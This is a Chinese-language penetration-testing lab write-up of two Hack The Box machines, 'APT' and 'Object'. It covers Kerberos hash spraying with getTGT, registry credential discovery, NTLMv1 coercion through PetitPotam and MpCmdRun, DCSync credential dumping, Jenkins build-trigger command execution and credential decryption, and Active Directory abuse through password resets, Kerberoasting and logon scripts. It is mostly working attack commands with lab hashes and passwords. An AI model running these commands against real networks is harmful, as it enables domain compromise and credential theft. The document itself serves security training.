for i in temp_htlm:
 temp = i.replace('\n','')
 if 'endstop' in temp:
 break
 temp = temp.split(':')
 try:
 print(temp[0])
 print(temp[3])
 open('new_userandpass.txt', 'a', encoding='utf-8').write("henry.vinson" + ":" + temp[3] + '\n')
 open('new_userandpass.txt', 'a', encoding='utf-8').write("APT$" + ":" + temp[3] + '\n')
 open('new_userandpass.txt', 'a', encoding='utf-8').write("Administrator" + ":" + temp[3] + '\n')
 except:
 pass

生成用户名+hash的方式才能用kerbrute 双线爆破现在等就行了

等了很久没有一个结果 kerbrute可能是我传上去的是一个hash字典网上没有爆破账密的教程所以我是看的-h写的参数 crackmapexec大概率是因为不允许winrm登录才导致没有爆破成功

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4

在我搜索的时候这个博客给了一个工具可以爆破hash

https://github.com/3gstudent/pyKerbrute/

使用的时候一直报错看了下源码报错点

少了两个tab 没有对其到if语句里面因为下面还有个else

奇了怪了 vscode里没事放进去就变成这样手动删减之后save还会变成这样最终还是调好了我感觉那个前面的tab有问题我就全删了重新排

又出报错了我不知道就算我把它修好了他还能不能用但是至少目前只有这一条路没办法我去搜了这个报错说是版本错误但是

他这是有自带的只要导入自带的包就行接着改代码

我改好了导入在windows上没有问题但是一到kali上就会报错

https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django

根据提示我需要把那个文件夹里所有的pyc删了删了就能运行了

这里报错是因为我的传参是文件指向他需要的不是这个

改好之后又报错了

正常情况也是会报错的跟我写的没关系

https://www.cnblogs.com/zhaijiahui/p/9597935.html

这个博客提到了解决方法解决方法如下

1

user_key = (RC4_HMAC, bytes.fromhex(temp))

报错

我改了又改 python2换到了python3 我敢肯定这个代码绝对有问题根本改不完这条路可能都行不通我打算去看wp了

一个wp用的就是这个他用的是python2 而且貌似并不报错我看不到太多信息比如版本之类的我去搜其他博客我去搜其他博客都是在介绍ADPwdSpray.py 并且用的也是python2 但我就是无法使用

还有一个wp的方法利用的是getTGT 原理就是 getTGT可以用hash 走的也是Kerberos协议如果有正确回显那密码就是正确的不得不说这个思路很好他其实跟上面的那个ADPwdSpray.py原理没区别但是ADPwdSpray.py我无法使用接着编写bashshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


#!/bin/bash

for temp in $(cat hashes.txt)
do
	result=$(getTGT.py htb.local/henry.vinson -hashes $temp)
	if [[ $result != *"Pre-authentication information was invalid"* ]]
	then
		echo $temp
		echo $result
	fi
done

出结果了刚刚的用的是我找了一个错误抛去错误输出就行了这里提示时钟不对也代表hash正确

用我之前一直用的调时间的方法这里行不通他找不到那个服务器用ipv4和v6都不行

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

这两个博客把我的现状解释的很清楚如果目标服务器存在v4和v6 那么ntpdate就是不起作用需要指定-6或者-4 其次还需要目标开启123端口ntp服务

我没有其他办法得寻求claude的帮助至少在学习期间我得收集几种方法

1
2
3
4
5
6


rpcclient -U "" -N htb.local
rpcdump> gettime
# 或者
net time -S htb.local

date -s "Sat Dec 7 05:14:11 2024"

这是他的教程拼接下命令就行

1

date -s "$(net time -S htb.local)"

终于可以了最好还是把两个命令拼在一起不然过了一会又不行了

winrm果然不行白浪费了那么多时间 smb倒是可以

1

smbclient -L //htb.local/ -U 'henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb' --pw-nt-hash

没什么区别也没什么利用方法了拿到一个用户的凭证无非就是SMB还有LDAP做信息收集现状是目标SMB没区别 LDAP貌似不能用hash传递

1
2


GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request
GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local

这一步我又去看了wp 都提示需要远程访问注册表

这里有reg.py的教程

https://wadcoms.github.io/wadcoms/Impacket-Reg/

ps:在我尝试的时候我发现它是通过smb查询的

1

reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\

没有权限？我开始找存在哪些注册表或者说远程注册表什么

https://blog.csdn.net/youyudexiaowangzi/article/details/123707258

这个博客给了我答案

也就是只能查HKLM和HKU 刚刚试了HKLM不行

HKU还是有东西的有些能访问有些不行我还是去搜搜HKU信息泄露把不然太多了一直查询太慢了

能访问的SID只有S-1-5-18、S-1-5-21-2993095098-2100462451-206186470-1105、S-1-5-21-2993095098-2100462451-206186470-1105_Classes

那只能挨个看了除了这几个SID能看其实.DEFAULT也能看这里我选了-s参数可以访问并遍历这个节点所有的key

1

reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s

1
2
3


\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\
	UserName	REG_SZ	 henry.vinson_adm
	PassWord	REG_SZ	 G1#Ny5@2dvht

没问题直接连上去

whoami和systeminfo没有什么信息

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe

传上去看看信息

从上往下看标红色的都值得注意我去看了一下history

查看之后如下

1
2


$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

目前每次遇到powershell的文件我都会去搜索每个函数是干啥用的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


# 此命令获取一个凭证对象并将其保存在变量中。 输入命令时，系统会提示您输入用户名和密码。
# 输入所需信息后，cmdlet 会创建一个表示用户凭据的PSCredential$c对象并将其保存在变量中。
# 密码没有捕获到 因为是交互式的
get-credential

# 运行命令并指定凭证
invoke-command -credential $Cred

# 指定计算机
-computername

# 指定计算机后可以在目标计算机上执行命令 实际上就是在本地执行命令
-scriptblock

# 创建注册表并赋予初值
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"

# 根据我查到的默认值为LmCompatibilityLevel 有以下介绍
# 默认情况下，LM 和 ntlmv1 未被禁用，因此值为 3，表示接受 LM 和 NTLMv1
# 并且如果服务器支持则使用 NTLMV2。
lmcompatibilitylevel

# type的参数我只找到了介绍 RegistryValueKind 但是我google了这个他说是32位无符号整数 数据类型
-Type DWORD

# value就是给某个name赋值 他没有指定name 实际上就是给LmCompatibilityLevel赋值为2
-Value 2 -Force

上面我搜索到的结果只提到了 3，4，5是什么情况 没提到2是什么情况 不过我还是找到了
下面最后一个链接告诉了我答案
也就是默认会使用NTLMv1认证同时接受LM和NTLM认证

参考的博客如下包括参数都是能查到的

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4

https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level

读懂算是读懂了利用倒是不知道怎么利用或许这里就没有漏洞但是由此作为切入点我还是尝试搜索

NTLMv1滥用我找到了这样一个博客

https://book.hacktricks.xyz/cn/windows-hardening/ntlm

并且这里也有Lsa的lmcompatibilitylevel设置方法及介绍

利用方法也有不过没有具体的只有思路我感觉这个就是HTLM中继我之前有学习过如果域控这台机器开启了打印服务 Spooler服务运行的话就可以尝试我记录的这个方法如果不行我将接着去找而且是针对HTLMv1的去找

貌似不行这可能就不是HTLM中继因为我尝试Get-Service Spooler的时候因为权限不够还是咋回事无法访问可能就是没开启并且我尝试printerbug的时候指定域名识别不出来

我接着看看上面的那个HTLMv1攻击

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md

https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D

这两个博客我配合着看的

1
2
3
4
5
6
7
8
9


编辑/etc/responder/Responder.conf文件

HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788

1
2
3
4
5
6


# 然后运行
responder -I eth0 --lm

# 提到了两种方法 一种无需认证 一种需要认证
>PetitPotam.exe Responder-IP DC-IP #2021 年 8 月左右修补
>PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP #未为经过身份验证的用户打补丁

我打开这个软件的地址的时候看到了一个河马突然感觉很眼熟貌似学过

的确记录过就在我刚刚利用的打印机认证的下面

打印机服务没开启这两个确实开启了没有问题利用前提是可以的版本号也对的上只是我学的时候用的中继一直都是ntlmrelayx 这几次靶场都是responder的教程

1

python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local

发起认证失败没事还能传到靶机上用这个方法

1

PetitPotam.exe Responder-IP DC-IP

结果也不行

在我的搜索下没有任何能够让域控发起认证的方法了又该去看看WP了我只找到3个关于这个靶场的WP 我的目的是为了看每个人的思路是什么样的从而扩展自己的思路但是这里他们都选择一个MpCmdRun.exe

这是一个防病毒软件根据WP的方法就是开一个smbserver 让MpCmdRun.exe远程扫描在远程扫描的时候需要发起认证这时候就能捕获到了这应该是常规的方法我将它记到我的笔记里

我用dir找到了很多MpCmdRun.exe 随便试一个就行了

1
2


C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe

到这里我懵了我承认这个靶场我打了一天多学习新东西不能一眼而过所以我一直在思考记住现在有点晕实际上我前面尝试的是能利用的

我选错网卡了我换成正确的网卡后还是利用

1

python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local

已经有结果了 HTLM中继是没问题的打印机倒是不行因为他的服务都没开防病毒这个也能利用

1

.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe

1
2
3


[SMB] NTLMv1 Client : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

因为获取的是相同的所以显示跳过了还是按照之前的教程 Pentest_Note/wiki/横向移动/NTLM中继和中间人攻击/捕获和破解Net-NTLMv1和NTLMv1哈希.md at master · xiaoy-sec/Pentest_Note

https://crack.sh/ 关闭了正在修复所以我这里选择hashcat

1

hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt

hashcat太慢了我换成了john

1

john --format=netntlm 1.txt

实际上 crack.sh hashcat john 都能将密码跑出来但是很费时间我这里直接用wp里的结果了

1

d167c3238864b12f5f82feae86a7f798

并且这个密码是APT$的密码带$一般都是机器账户而机器账户默认会拥有DCSync权限而DCSync权限允许模拟域控制器进行复制所以下面直接用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


/usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\$@htb.local -dc-ip htb.local

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::

PTH

1

evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2

结束

这个靶场耗时一天多这是我迄今为止遇到的最难的靶场 wp我都看了很多遍涉及到了太多技术了如果不看WP 我估计我会彻底卡死刚开始的RPC我现在都有点忘了除了RPC不是意料之中的其他都算是常规的服务及渗透思路要彻底打开才行这个靶场做的非常好跟理论知识严丝合缝比如爆破账密这里只能用Kerberos协议而我找的脚本都不行扩展思路之后用getTGT其实也能爆破这个想法非常好其次就是APT$这个机器账户机器账户一般都有DCSync权限所以这里能直接给他的HTDS.dit复制出来 HTLM发起认证的方法也学了一种新的

注册表查询 bashshell的编写 powershell的审计文本筛选(bash和python都行我这里用的python) 改python脚本(原本的程序我都无法使用所以改了半天改不好) 以及各种协议的hash传递

涉及的面非常广在后期应该会和forest Fuse一起重新打一遍和前几个靶场不一样的在于前几个靶场不算常规的算是针对服务特有的而这个属于常规但是要特别熟悉才行不然想不到上面的这些方法

21.Object

信息收集：

80端口得到一个域名貌似没有什么东西只有一个指向

8080

admin是存在的我不觉得这里是为了让我手动去挖漏洞肯定是有利用方法的

后台跟之前学的azure devops一样不过那个主要是针对aspx的而这个是针对java的所以理论就是如果能进入后台那么就能跟之前一样传上去一个jsp文件就能被正常交付到站点所以说80端口可能就是在这里部署的我需要的就是进入后台部署我的webshell之后就可以了当然也可能是子域存在自动化部署得上去看看

随便创了一个号进了后台

据我了解的getshell的方法就在这基本上我找到的博客都提示的去找这条路但很明显我的权限不够

而且2.317

他是21年10月19日发布的所以我得找21年之后的exp 目前能确定的就是如果能拿到admin的密码那么就能getshell 这个毋庸置疑但是靶场发布的时间是2022年2月8日也就代表了这四个月期间如果没有新的CVE那么就不能打EXP 得用其他方法

知道了初始密码的位置

如果能找到任意文件读取也可以利用 UDP的几个端口我一直放着的我想先收集一下这两个web服务都有什么

UDP 53

1
2


dig object.htb @object.htb +notcp
dig object.htb @object.htb +notcp AXFR

没有找到什么东西

88 kerberos

这个没有什么信息泄露就不看了

123 ntp

1
2
3
4
5
6
7
8


nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 object.htb
ntpq -c readlist object.htb
ntpq -c readvar object.htb
ntpq -c peers object.htb
ntpq -c associations object.htb
ntpdc -c monlist object.htb
ntpdc -c listpeers object.htb
ntpdc -c sysinfo object.htb

其他的提示xxxxRequest timed out

389 ldap

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN

https://serverfault.com/questions/661535/querying-ldap-server-on-udp

也就是仅能进行身份验证目前身份验证已经有了udp的88端口 udp的389端口 tcp的5985端口

udp里面没有东西 dnsenum也不支持udp 那就只能手动爆破了我打算利用FFUF爆破子域名

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H "Host: FUZZ.object.htb" --hh 29932

并且现在都有点不确定他到底是不是域控了把目光放回tcp的80和8080 爆破子域的同时爆破目录我尝试cewl 80端口然后放到8080上爆破密码但是没有成功

在爆破期间也不能光等着我觉得8080的服务既然有用户注册功能还能进后台那必然是有联系的注册的用户Jenkins没有项目我打算去搜Jenkins的教程自行创建一个项目然后发布

https://juejin.cn/post/7077957170121146376

https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/

我找到了如上的博客

很多博客都讲了该如何写这个直接搜就行

https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3

https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program

https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/ #这个博客有全套流程但是命令不是很详细

可惜的是我跟着走完发现少了一个build按键

导致无法执行应该是权限不够我开始google该如何触发build

https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b #这个都介绍了

https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/ #这个比上面的全

根据教程挨个试

第一个是计划任务

计划任务的写法他也给了如果是* * * * *就代表每分钟build一次

这里出结果了

console也出结果了这里是可以执行命令的处于学习的目的我将把这几个选项当然是不太难搭建的部分看一下

第二个是SCM（源代码管理）触发器

SCM 触发器是 Jenkins 中最常用的构建触发器之一，每当在源代码存储库中检测到更改时，它都会启动构建。此触发器对于持续集成实践至关重要，因为它可确保自动测试最新的代码更改并将其集成到主代码库中。

一样也是五个* 每分钟检查一次只要我提交了一分钟内就能build完成

我找了一个项目只要他进行下载构建就能执行build 可惜的是一直提示连不到

这里也进行了一次build 但是错误是因为我没有配置git tool 这个是因为我刚开始配不懂后面我改了就如我的配置截图上面可以看到我配置成了git 但是此时他报错

第三种 Trigger builds remotely (e.g., from scripts)

访问方式也很简单

http://object.htb:8080/job/123124/build?token=124124

token就写我刚刚在上面写的数字就行

也没有问题

最终我选择了一个用URL触发就行因为每分钟执行一次会导致build history越来越多很麻烦

准备反弹shell

奇了怪了访问失败

我确定不是端口的问题就是访问不了可能是出站流量全部禁了我说刚刚git的那个为什么无法git到明明项目就是存在的那这里只能用他给的方法来getshell了也就是winrm 利用winrm之前需要有一个账户才行

在进行我的想法之前我打算先看看他的防火墙配置

https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps

我在这里找到了命令方法上面的文档里都能查到

1
2
3
4
5
6


powershell /c "Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True"

-PolicyStore 活动存储中的所有防火墙规则
-Direction 出站策略
-Action 禁止策略
-Enabled 状态启用

果然全部出站流量被禁止这时候我想getshell只能通过这个web服务拿到信息然后通过winrm连接在我通过构建项目RCE之前有个提示 admin的密码存放地当时找的linux的是confing.xml windows貌似如下

就是这个直接dir /S 找就行了

确实没找到confing.xml

~~我又找了一下提示我说密码文件叫做config.xml 我又去搜了但是这次我加上了搜索隐藏文件~~

1
2
3


cd C:\
dir /S jenkins*
dir /S /a config.xml

~~不出意外是这个了~~

~~跟这个说的一样~~

https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f

这个博客给了我答案 config.xml这个文件名称没问题的

密码就在这这是我之前查询的结果但是当时我不清楚这个就是密码

1
2
3
4


<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>

<passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>

我没有找到相关的博客来介绍解密流程我只找到了一些github项目

https://github.com/hoto/jenkins-credentials-decryptor

比如这个就很详细按照这个来吧如果不行就接着再去找

1
2
3
4


$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml - Possible location

需要这几个文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$JENKINS_HOME/secrets/master.key
c:\>dir /S /a master.key
 Volume in drive C has no label.
 Volume Serial Number is 212C-60B7

 Directory of c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key

 $JENKINS_HOME/secrets/hudson.util.Secret
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret

貌似是二进制文件这个也好办只要遇到二进制的基本都用base64编码再解码就行我找到了这种方法

1
2


certutil -f -encode c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt
type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt

没问题

1
2
3
4
5
6


gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu
2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO
kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L
AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9
GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc
pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=

1
2


base64 -d 1.txt > hudson.util.Secret
cat hudson.util.Secret

开始解密在上面的项目地址下好文件

报错了还是根据github的教程来吧

1
2
3
4
5


curl -L \
 "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)" \
 -o jenkins-credentials-decryptor

chmod +x jenkins-credentials-decryptor

他这个在后面有个uname判断用它这个命令好点不自己下载了

还是这样我检查了几遍文件确定我的文件没有出任何问题

有人跟我遇到了一样的问题但是作者没有回复他

根据报错信息我去搜了下

他这里有介绍而根据这个备注信息我大概能理解了 hudson.util.Secret和master.key文件类型可能不对

我直接复制粘贴导致master.ket的类型为ascii text 我尝试去看看靶机上的类型是什么

可惜的是我找了一会并没有找到再windows上判断某个文件是否为二进制文件的命令那我打算还是用base64 这样也不担心文件类型了

白忙活了那就再去看看config.xml文件将他也用base64读出来读出来之后依然不行

https://github.com/tweksteen/jenkins-decrypt/

这还有一个脚本

改好了之后接着运行又报错了

我最近用的脚本貌似就没几个能直接用都要自己改而这个提示非常明显了 3.9这个函数被删了我改了之后又遇到了编码问题这个我暂时不管了再换一个项目

https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file

他告诉我hudson.util.Secret这个文件有问题但是我看我的操作 base64编码解码写入文件应该没有问题才对再试一次把结果还是不行遭不住了我去看了wp 跟我这些步骤一样没区别都是这样操作的

我甚至直接把他们的导入命令拿来用了还是报错我感觉这软件是不是在我电脑上才出问题我现在没有任何办法比如我打包python3的那个文件转成base64 再传到靶机上

这15万行根本不现实

经过一番搜索我找到了答案在kali中我习惯vim打开文件然后写入 master.key我就是这样写入的但是这样会导致文件多了一位 master.key应该是256位才对不管是用vim还是echo 还是base64编码在解码都是257位我明明没有添加任何换行符依然都是这样

1
2


wc -c master.key
257 master.key

直到我把文件放到windows上进行粘贴他才正常为256位我不知道为什么kali上也是粘贴进去会多一位而windows上粘贴就正好是256

我从windows上把正常的master.key文件移到了kali上不出意外

都能成功解开我忙活了半天结果是文件出的问题

加上-n也能解决问题这是其他wp没有提到的我估计我之前看到的那些issus也是这个问题没人意识到这一点

目前有了密码

1
2
3
4
5
6
7


[
 {
 "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
 "password": "c1cdfun_d2434",
 "username": "oliver"
 }
]

oliver存在家目录可以撞库连接winrm

能上来开始提权 whoami /priv 和 systeminfo 都没东西

1

cmd /c "netstat -ano | findstr LISTENING"

跟之前扫描udp的结果一样就是一个域控将SharpHound传上去吧

1

upload SharpHound-v2.5.9/SharpHound.exe

然后下载到本地

奇怪的是明明里面有东西但是无法导入

他会一直卡住我以为我的bloodhound坏了就上传了以前获取过的zip 结果是可以解压解析的

那就是我弄下来的文件有问题

https://www.cnblogs.com/tysec/p/16811651.html

用这个博客里的方法也失败了

http://www.luckysec.cn/posts/7ebaa71c.html

这个博客告诉我了答案但是我的数据采集工具也是最新的为啥不行呢至少4.0.3兼容用这个看看

也不麻烦解压就能用

https://github.com/BloodHoundAD/BloodHound/releases

1

./BloodHound --no-sandbox

还是不行我感觉可能又是文件的问题我把kali重启了还是不行我只能再去看wp 看看别人是否也这样可惜并没有这样的但是那个博客给了我一个提示他的博客是22年写的他用的也是22年的老版本去提取就因为提取这一步我才能解决如果后面有人跟我一样起码还能解决

https://github.com/BloodHoundAD/SharpHound/releases?page=3

下载最初的版本找到里面的ps1提取

1

powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

然后启动最新版的bloodhound 不要用4.0.3的我这里是

将刚刚那个导入就行终于成功了大概率是目标域环境太复杂了？还是因为什么提取器提取老是错误导致无法解析到bloodhound

以当前用户为基准来看看如何提权有点乱挨个来吧因为net user给我看了还有俩用户

具体权限如下

路径这样就清晰了直接改smith的密码然后操控maria 给smith加到域管里就行

总体路径如下

路径有了就挨个来

先改smith密码

1
2
3
4
5
6
7
8
9


$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OBJECT.HTB\oliver', $SecPassword)

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1
. .\PowerView.ps1
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

smith这个用户不见了没有找到

1

Get-DomainUser

实际上是存在的因为本来就有改smith的权限我把后面的凭证删了

1

Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

运行没有报错

1

evil-winrm -i object.htb -u smith -p Password123!

成功上来了接着下一步的help如何利用还是去掉鉴权因为我已经是smith了

1
2


Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
Get-DomainSPNTicket maria | fl

又开始报错了他说他无法验证SPN上的参数奇了怪了我又写了一次 |fl 也去掉了

1
2


Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH11'}
Get-DomainSPNTicket maria

这回有结果了成功的给maria创建了SPN 这就回到了常规的地方当一个账户存在SPN时就可以去拿他的TGS 然后破解就行

https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md

之前一直是远程渗透这个博客提到了在域内的情况下该如何利用

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

1
2


. .\Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

同时我也在尝试 Rubeus.exe

1

.\Rubeus.exe kerberoast

这两个结果都为空难道设置了SPN也拿不到TGS吗我理解不了为什么会这样还是根据wp 当然只有一个wp写的很好思路很清晰能学到东西它提示说如果说spn胡乱设置不被允许访问需要具有有效格式的SPN才行

https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns

1

setspn -a MSSQLSvc/object.local:1433 object.local\maria

还是无法获取明明当前已经是smith了下一步提示告诉我即使当前是smith 但是这里还是需要传入凭证不然还是无法访问之前一直没用到的凭据在这里用到了

1
2
3


$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.htb\smith', $SecPassword)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred

成功了但是下一步提示说的是这个密码rockyou都爆不出来那就先不管了至少学了一种新方法在遇到这种情况的时候能更快的反应那个时候如果才开始查未免有点太慢了

并且GenericWrite可以修改目标的密码当然这里不起作用还是作为记录

1
2


$newpass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity maria -AccountPassword $newpass

接下来是最难的地方也是我有点不理解这个靶场为什么这么做的地方这里不看wp的话我完全不可能想到第一个能做出来的也太猛了

maria有个自动登陆脚本而且貌似在一直重复登录退出登陆退出那就可以给他写一个登陆脚本只要一登陆就会触发这个脚本而且这不只是GenericWrite特有的。能修改用户的scriptpath属性需要以下任一权限

1
2
3
4
5


GenericWrite
GenericAll
WriteDacl
WriteOwner
WriteProperty

也就是以后遇到这些权限都可以尝试写一下登陆脚本也算是学到了一种新技巧在以后的环境中比如写一个弹shell的脚本也可以只要一登陆了立马就能弹shell 当然这里不行出站流量全被down了

所以可以构造一个脚本比如看一下家目录然后将返回结果写入一个当前用户smith和maria都能访问的目录

1
2


echo "ls \users\maria\ > \programdata\out" > C:\\programdata\\cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}

在翻目录的时候找到了Engines.xls文件

1
2


echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
download Engines.xls

